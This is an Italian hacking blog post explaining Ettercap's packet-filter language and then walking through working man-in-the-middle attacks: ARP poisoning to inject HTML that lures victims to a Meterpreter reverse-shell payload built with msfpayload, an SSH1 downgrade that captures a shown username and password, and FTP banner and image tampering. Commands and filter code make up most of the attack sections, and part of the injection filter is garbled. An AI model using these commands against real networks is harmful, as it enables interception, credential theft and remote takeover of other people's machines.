VoIP & Hack

I filtri in ettercap

by admin on Dec.26, 2009, under Hacking, Linux, Sicurezza

Ettercap possiede la capacità di dirottare il traffico attraverso sè stesso attuando attacchi di tipo “Man in the Middle”, ed inoltre di usare filtri per modificare i dati prima di inviarli alla vittima.

I filtri consentono di modificare il contenuto dei pacchetti.
Per creare un filtro, un relativo file di configurazione deve venire compilato.
Si possono reperire alcuni esempi pronti all’uso nella directory /usr/share/ettercap/.

I filtri di ettercap sono fondamentalmente degli scripts, ed un script è una raccolta di istruzioni. Viene eseguito sequenzialmente e sono ammessi gli statements “if” ed “if/else”, i soli tuttavia supportati. Nessun tipo di loop è infatti implementato. La sintassi è piuttosto simile a quella del codice C ad eccezione del fatto che occorre porre i blocchi “if” in parentesi graffe “{…}”, anche quando contengano una sola istruzione.

Occorre inserire uno spazio tra “if” ed il simbolo “(”. Occorre invece evitare di inserirlo tra il nome delle funzione ed il carattere “(”.

Esempio:
if (conditions) { }
func(args...);

Le condizioni per uno statement “if” possono essere sia funzioni che espressioni di confronto.
Due o più condizioni possono venire collegate insieme con operatori logici come OR (||) e AND (&&).

Esempio:
if (tcp.src == 21 && search(DATA.data, "ettercap")) {
}

Occorre prestare molta attenzione alle precedenze con gli operatori.
Non è possibile usare parentesi per raggruppare condizioni.
Un AND all’inizio di un blocco condizionale escluderà tutti i restanti tests se viene valutato come false.
Il parsing avviene da sinistra a destra, e qundo viene trovato un operatore, se si tratta di un AND e la condizione precedente è falsa, l’intero statement viene valutato come “false”; se si tratta di un OR il parsing procede anche se la condizione è “false”.

Se per esempio consideriamo le due espressioni:

if (ip.proto == UDP || ip.proto == TCP && tcp.src == 80) {
}

if (ip.proto == TCP && tcp.src == 80 || ip.proto == UDP) {
}

la condizione superiore effettuerà il “matching” di tutto il traffico udp o http. La seconda espressione è sbagliata, poiché se il pacchetto non è di tipo tcp, l’intero blocco condizionale verrà valutato come false.
Volendo utilizzare condizioni complesse, il metodo migliore consiste nello spezzarle in blocchi “if” annidati.

Ogni istruzione in un blocco termina con un carattere semicolon (”;”).

Le comparazioni sono implementate con l’operatore “==” e possono essere usate per confrontare numeri, stringhe, oppure indirizzi ip. Un indirizzo ip deve essere racchiuso tra due singole virgolette (es. ‘192.168.0.7′). Si possono anche usare gli operatori “minore di (”<”), “maggiore di” (”>”), “minore o uguale” (”<=”) e “maggiore o uguale a” (”>=”).

Esempio:
if (DATA.data + 20 == "ettercap" && ip.ttl > 16) {
}

Le assegnazioni sono realizzate tramite l’operatore “=” e lvalue può essere un offset. rvalue può essere una stringa, un intero o un valore esadecimale.

Esempio:
ip.ttl = 0xff;
DATA.data + 7 = "ettercap NG";

Si possono anche usare le operazioni “incremento” e “decremento” sui campi dei pacchetti. Gli operatori utilizzabili sono “+=” e “-=”. L’ rvalue può essere un intero o un valore esadecimale.

Esempio:
ip.ttl += 5;

Un offset viene identificato da un virtual pointer. In parole povere, un offset è un puntatore al packet buffer.
Il virtual pointer è una tupla , dove L rappresta il livello iso/osi, O rappresenta l’ offset in tale livello ed S è la grandezza del virtual pointer. Si possono fare operazioni algebriche su di un virtual pointer ed il risultato è ancora un offset. Specificare ’vp + n’ risulterà in un nuovo virtual pointer .
E ciò è perfettamente legale, abbiamo solamente modificato l’offset interno di quel livello.

I virtual pointers vengono espressi nella forma “name.field.subfield”. Per esempio “ip.ttl” è il virtual pointer per il campo Time To Live dell’ header IP di un pacchetto. Verrà trasformato come . Significa che si tratta del 9no byte del livello 3 e la sua grandezza è 1 byte. “ip.ttl + 1″ è la stessa cosa di “ip.proto” dato che il 10mo byte dell’header IP è il protocollo incapsulato nel pacchetto IP.

La lista dei virtual pointers supportati si trova nel file etterfilter.tbl. Si possono aggiungere i propri virtual pointers aggiungendo una nuova tabella o modificando quella esistente. Si faccia riferimento ai commenti all’inizio del file per la corretta sintassi del file etterfilter.tbl.

Funzioni utilizzabili negli scripts

search(stringa, buffer)
Questa funzione ricerca la stringa “stringa” nel buffer “buffer”. Il buffer può essere sia DATA.data che DECODED.data.
Il primo è il payload al livello DATA (ontop di TCP o UDP) come trasmesso sul cavo, mentre il secondo è il payload decodificato/decrittato dai dissectors.
Di conseguenza, se si vuole cercare in una connessione SSH, è preferibile usare “DECODED.data” dal momento che “DATA.data” risulterebbe criptato.
La stringa “stringa” può essere binaria. In tal caso deve essere “escaped”.

Esempio:
search(DATA.data, "\x41\x42\x43")

regex(buffer, regex)
Questa funzione restituisce “true” se viene riscontrata una corrispondenza di “regex” in “buffer”. Le considerazioni fatte su “DECODED.data” e “DATA.data” per la funzione “search” sono le stesse per la funzione “regex”.

NOTA: regex può venire usata solamente nei confronti di un buffer stringa.

Esempio:
regex(DECODED.data, ".*login.*")

pcre_regex(where, pcre_regex … )
Questa funzione valuterà una regular expression perl compatibile. Potete operare sia su DATA che su DECODED, ma se la vostra espressione modifica il buffer, ha senso operare solamente su DATA. La funzione accetta 2 o 3 parametri, a seconda della operazione desiderata. La forma a due parametri viene usata solamente per il match di un pattern. La forma a tre parametri significa che si intende operare una sostituzione. In entrambi i casi, il secondo parametro rappresenta la stringa da ricercare.
NOTA: Il supporto pcre è opzionale in ettercap e sarà abilitato solamente nel caso si abbia già la libreria libpcre installata. Il compilatore avviserà se si tenta di compilare un filtro che contiene delle espressioni pcre ma non si dispone di libpcre.

Esempio:
pcre_regex(DATA.data, ".*foo$")
pcre_regex(DATA.data, "([^ ]*) bar ([^ ]*)”, “foo $1 $2″)

replace(stringa1, stringa2)
Questa funzione sostituisce la stringa “stringa1″ con la stringa “stringa2″. Possono essere stringhe binarie e quindi “escaped”.

Esempio:
replace("ethercap", "ettercap")

Oltre alla semplice sostituzione, ettercap possiede anche la capacità di iniettare caratteri addizionali in un data stream attivo ricalcolando nel frattempo l’opportuno numero di IP sequence ed il packet checksum richiesti per mantenere la connessione in essere. Ciò permette, per esempio, l’inserimento di codice malizioso tipo JavaScript in una pagina web, o di un virus all’interno di una mail.
Un attaccante potrebbe anche iniettare nuovi comandi in un server come se provenissero dal client, o viceversa

inject(poison)
Questo filtro inietta il contenuto del file “poison” dopo che il pacchetto è stato processato. Inietta sempre in DATA.data. Si può usarlo per sostituire l’intero pacchetto con uno fasullo usando la funzione drop() proprio prima del comando inject(). In tal caso il filtering engine scarterà il pacchetto corrente ed inietterà quello fasullo.

Esempio:
inject("./fake_packet")

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing!");
}
}

Questa funzione inietta semplicemente un riferimento a un eseguibile meterpreter reverse ospitato su un server grazie ad un po’ di arp poisoning ed un po’ di html injection.

Generiamo meterpreter.exe

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=100 x > meterpreter.exe

e poi piazziamo l’ eseguibile nella root directory di Apache

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 100

creiamo adesso un filtro per ettercap di nome html.filter:

if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "")) {<br /> replace("", "

just some instructions”);
msg(”html injected”);
}}

mandiamo in esecuzione ettercap:

# etterfilter html.filter -o html.ef
# ettercap -T -q -F html.ef -M ARP // //

ora volendo si può aspettare che qualcuno in rete scarichi meterpreter.exe and e vi abbia gentilmente fornito una reverse shell.

log(buffer, destinazione)
Questa funzione scarica nel file “destinazione” il buffer “buffer”. Nessuna informazione viene archiviata riguardante il pacchetto, solo il payload viene scaricato. Si vedra dunque lo stream nel file. Volendo registrare i pacchetti in una modalità più avanzata, occorrerà usare l’ opzione -L di ettercap ed analizzarlo con etterlog. Il file “destinazione” deve risultare scrivibile per l’utente EC_UID.

Esempio:
log(DECODED.data, "/tmp/interesting.log")

msg(message)
Questa funzione mostra un messaggio all’utente nella finestra User Messages.

Esempio:
msg("Pacchetto correttamente filtrato")

drop()
Questa funzione marca il pacchetto che deve venire scartato. Il pacchetto non verrà inoltrato alla reale destinazione.

esempio:
drop()

kill()
Questa funzione termina la connessione che possiede il pacchetto corrispondente (matched). Se si tratta di una connessione TCP, un pacchetto RST viene inviato a entrambe le estremità della connessione.
Se si tratta di una connessione UDP, un ICMP PORT UNREACHABLE viene inviato al sorgente del pacchetto.

Esempio:
kill()

exec(command)
Questa funzione esegue un comando shell. Occorre fornire la path completa al comando dal momento che viene eseguito in assenza di alcun environment.
Non vi è modo di determinare se il comando sia stato eseguito con successo oppure no. Inoltre, viene eseguito in modalità asincrona dato che rappresenta un fork del processo principale.

Esempio:
exec("/bin/cat /tmp/foo >> /tmp/bar")

exit()
Questa funzione fa in modo che il filtro termini l’esecuzione del codice. È utile bloccare l’ esecuzione dello script in alcune circostanze controllate da uno statement “if”.

Esempio:
exit()

Verranno ora esaminati due esempi basati sui filtri Ettercap.

1. Cambio del prompt FTP
2. Attacco SSH downgrade

Cambio del prompt FTP

In questo semplice esempio modificheremo il prompt di una connessione FTP.
Qui di seguito c’è un semplice file di configurazione di nome test_ftp_filter da piazzare nella directory /usr/share/ettercap.

# replace the FTP prompt
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
replace("ProFTPD","GattoSilvestroFTPD);
}

Ora occorre compilare il file con etterfilter, dato che Ettercap può caricare solamente files compilati.

# etterfilter test_ftp_filter -o test_ftp_filter_comp

Verrà generato un file compilato di nome test_ftp_filter_comp.

Caricamento del filtro in Ettercap:

Filters -> Load a filter…

Ora è giunto il momento di testare una connessione FTP tramite la nostra macchina client 192.168.1.10.

Effettuamo un semplice test prima e dopo il filtraggio Ettercap.

Sia “ftp.pizzaefighi.it” il nome del website e “192.168.1.4″ il suo indirizzo IP.
(Naturalmente, dovremo operare da “man in the middle”.

prima:
C:\Documents and Settings\Administrator>ftp ftp.pizzaefighi.it
Connected to ftp.pizzaefighi.it.
220 "ProFTPD 1.3.0a Server ("ProFTPD) [192.168.1.4]
User (pizzaefighi.it:(none)):

dopo:
C:\Documents and Settings\Administrator>ftp ftp.pizzaefighi.it
Connected to xyz.com.
220 "GattoSilvestroFTPD 1.3.0a Server ("GattoSilvestroFTPD") [192.168.1.4]
User (pizzaefighi.it:(none)):

Attacco SSH downgrade

Attiviamo in ettercap la scansione SSL:
Per far ciò bisogna modificare il file etter.conf (normalmente /etc/etter.conf)

# gedit /etc/etter.conf

decommentando le seguenti righe:

#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

così:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Così facendo sarà possibile effettuare lo sniffing delle connessioni SSL

Un attacco particolarmente insidioso chiamato “the downgrade attack” può venire usato sempre nella posizione di “the man in the middle”.
L’obiettivo principale consiste nel downgrade di una versione di protocollo cambiando dei dati all’interno di alcuni pacchetti, in una differente versione notoriamente vulnerabile.

SSH è il più famoso esempio di attacco downgrade, in cui un attaccante costringe il client ed il server ad usare l’ormai insicuro protocollo SSH1.

Il client invia una richiesta per stabilire un collegamento SSH al server e gli chiede quali versioni supporta.
Il server risponde con:

- ssh-2.xx Il server supporta solo SSH2
- ssh-1.99 Il server supporta SSH1 ed SSH2
- ssh-1.51 Il server supporta solo SSH1

Nel nostro esempio, il server è configurato a supportare sia SSH1 che SSH2 ed il client è impostato ad usare SSH2 ed SSH1 ma preferibilmente SSH2.

Supponendo che il server sia configurato per SSHv1 e SSHv2, l’attaccante potrebbe alterare la risposta modificando la stringa “1.99″ in “1.51″ per indicare al client che il server supporta solamente SSH1 e forzando di conseguenza il client ad utilizzare un collegamento SSH1.
L’utente che crede di utilizzare il protocollo sicuro SSH2 effettuerà il login con SSH1 e la password verrà immediatamente catturata dall’attaccante per colpa del vulnerabile meccanismo di autenticazione delle password offerto da SSH1.

a. SSH Server: OpenSSH su Linux
b. SSH client: Putty su Windows.
c. macchina attaccante : Ettercap.

Per default, solo SSH2 è abilitato su OpenSSH server. Per attivare SSH1, occorre prima aprire il file /etc/ssh/sshd_config e aggiornare la linea che inizia con “Protocol”:

# vi /etc/ssh/sshd_config
Protocol 1,2

Occorre quindi creare una coppia di chiavi SSH1, altrimenti otterremo il seguente errore al riavvio del servizio:

Disabling protocol version 1. Could not load host key.


# ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""

Aggiungiamo la key path nel file sshd_config:

HostKey /etc/ssh/ssh_host_key

Infine, riavviamo il server:

# /etc/init.d/ssh restart
* Restarting OpenBSD Secure Shell server sshd

Il server SSH è a questo punto configurato ad accettare SSH1 ed SSH2 e pertanto fornisce un responso “ssh-1.99″.

Possiamo verificarlo col comando seguente:

# telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.6p1 Debian-5ubuntu0.1

Putty è un SSH client per Windows molto conosciuto e liberamente disponibile.
Nella configurazione di default SSH di Putty, SSH1 ed SSH2 sono entrambe accettate, ma SSH2 viene preferita.

Ettercap mette a disposizione un file di configurazione già predisposto per l’attacco SSH downgrade.
Il file è /usr/share/ettercap/etter_filter_ssh.

# cat /usr/share/ettercap/etter.filter.ssh
[...]
# server response : SSH-2.00 only ssh2 supported
# SSH-1.99 both ssh1 and ssh2 supported
# SSH-1.51 only ssh1 supported
##


if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n”);
} else {
if ( search(DATA.data, “SSH-2.00″) ) {
msg(”[SSH Filter] Server supports only SSH version 2\n”);
} else {
if ( search(DATA.data, “SSH-1.51″) ) {
msg(”[SSH Filter] Server already supports only version 1\n”);
}
}
}
}
}

Abbiamo solo bisogno di compilare il file per creare il filtro.

# etterfilter etter_filter_ssh -o etter_filter_ssh_co

e poi lo potremo caricare.

Filters -> Load a filter…

Selezioniamo il file appena compilato.
Ora che il filtro è caricato, siamo pronti ad aprire una connssione SSH dal client Putty.

Apriamo Putty, e a sinistra, clicchiamo su “Session”, quindi introduciamo l’indirizzo IP del server SSH (192.168.1.68 nel nostro esempio) e mettiamo la spunta al radio button “SSH”. Clicchiamo sul pulsante “Open” per connetterci al server SSH.

Controlliamo sulla macchina attaccante se siamo riusciti a intercettare la password SSH1.
Come si può riscontrare, Ettercap ha:

1. Effettuato il downgrade della versione SSH:
2. Catturato le credenziali SSH1: [SSH Filter] SSH downgraded dalla versione SSH 2 alla 1:

192.168.1.68:22 -> USER:guglielmo PASS:Tordellini

e come promesso, l’attacco è perfettamente riuscito.

Sostituzione di immagini


if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.fake.com/images/fake.png\" ");
replace("IMG SRC=", "img src=\"http://www.fake.com/images/fake.png\" ");
msg("Filter Ran.\n");
}

Modificando Accept-Encoding in Accept-Stronzi! il web server ignorerà semplicemente i parametri (gzip, deflate, o qualsiasi altra cosa) e ripiegherà su plain text.

Il codice dovrebbe risultare facilmente leggibile per chiunque abbia una qualche esperienza di programmazione (è piuttosto simil-C). I simboli # rappresentano commenti. Lo statement “if” dice al filtro di operare solamente su pacchetti TCP provenienti dalla porta 80, in altri termini provenienti da un web server. La funzione “replace” sostituisce il primo parametro stringa con il secondo. A causa di come opera, tale sostituzione di stringa tenterà di alterare i tags image ed inserire l’immagine indicata nel codice HTML della pagina web prima di restituirlo alla vittima. I tags potranno apparire come il seguente:



La locazione della immagine originale sarà ancora presente nel tag, ma la maggior parte dei web browsers dovrebbero ignorarla. La funzione “msg” opera direttamente sullo schermo facendoci sapere quando il filtro viene attivato.
Ora che abbiamo acquisito una certa comprensione delle basi del filtro compiliamolo. Prendiamo quindi il codice visto in precedenza e facciamone un file di testo, quindi compiliamo il filtro in un file col comando seguente:

# etterfilter ig.filter -o ig.ef

Ora che il filtro è compilato dobbiamo specificare gli hosts di cui vogliamo avvelenare la cache ARP tramite esso.

Così, se volessimo interessare tutti gli hosts della rete potremmo usare il comando seguente:

# ettercap -T -q -F ig.ef -M ARP // //

Se avessimo in mente di colpire una specifica vittima, ad esempio un host con indirizzo IP 192.168.1.47, dovremo usare questo comando:

# ettercap -T -q -F ig.ef -M ARP /192.168.1.47/ //

Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , , , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Visitateli pure!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...